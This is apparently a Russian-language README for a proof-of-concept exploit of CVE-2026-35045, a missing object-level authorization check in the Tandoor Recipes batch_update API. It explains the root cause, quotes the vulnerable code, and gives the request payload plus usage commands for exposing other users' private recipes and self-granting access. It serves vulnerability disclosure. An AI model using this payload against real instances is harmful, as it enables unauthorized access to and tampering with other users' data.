
Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update.
Конечная точка PUT /api/recipe/batch_update/ в Tandoor Recipes v2.6.1 позволяет любому аутентифицированному пользователю внутри Space изменять любой рецепт в этом Space — включая приватные рецепты, принадлежащие другим пользователям. Это полностью обходит проверки авторизации на уровне объектов, применяемые ко всем стандартным конечным точкам для отдельных рецептов.
Основная причина — поведенческий пробел в Django REST Framework: действия списка с detail=False никогда не вызывают has_object_permission(), только has_permission(). Фильтрация queryset осуществляется исключительно по space=request.space, без проверки created_by, private или списка shared. Злоумышленник может принудительно раскрыть приватные рецепты, самостоятельно предоставить себе постоянный доступ, отозвать права других пользователей и изменить метаданные — всё это одним вызовом API, который выглядит как обычный и возвращает HTTP 200 OK с пустым телом.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Обход авторизации через управляемый пользователем ключ |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Затронутая версия | Tandoor Recipes ≤ 2.6.1 |
| Поставщик | TandoorRecipes/recipes |
| ID техники | Название | Актуальность |
|---|---|---|
| T1078 | Действительные учётные записи | Злоумышленник использует легитимные учётные данные с низкими привилегиями для обхода авторизации |
| T1565.001 | Манипуляция хранимыми данными | Изменение приватных рецептов и списков контроля доступа, принадлежащих другим пользователям |
detail=False обходит проверки разрешений на уровне объектовФайл: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Нет проверки created_by или private
)
В Django REST Framework действия, зарегистрированные с detail=False, являются действиями списка. Они никогда не вызывают get_object(), а значит check_object_permissions() и CustomRecipePermission.has_object_permission() не выполняются. Запускается только has_permission() — который проверяет членство в Space, а не владение рецептом.
PUT /api/recipe/{id}/ проходит полный поток проверки разрешений DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ отказывает в доступе, если рецепт приватный и не принадлежит/не расшарен с запрашивающим
Конечная точка batch_update молча пропускает всю эту цепочку.
RecipeBatchUpdateSerializer предоставляет следующие поля — записываемые для любого рецепта в Space:
| Поле | Эффект |
|---|---|
private | Переключение видимости рецепта |
shared_add / shared_remove / shared_set | Управление списком контроля доступа |
keywords_add / keywords_remove / keywords_set | Изменение метаданных рецепта |
working_time / waiting_time | Изменение данных о времени приготовления рецепта |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ НИКОГДА НЕ │
│ ВЫЗЫВАЕТСЯ │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Нет проверки владения
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (владелец A) │
│ private=false ← изменено
│ shared=[2] ← само-предоставлено
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ теперь имеет │
│ полный доступ │
│ к Recipe ID 2 │
└────────────────┘
requestspip install requests
# Принудительно раскрыть приватный рецепт и предоставить себе доступ (по умолчанию)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Только принудительное раскрытие (установить private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Только само-предоставление доступа (добавить в shared, оставить private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant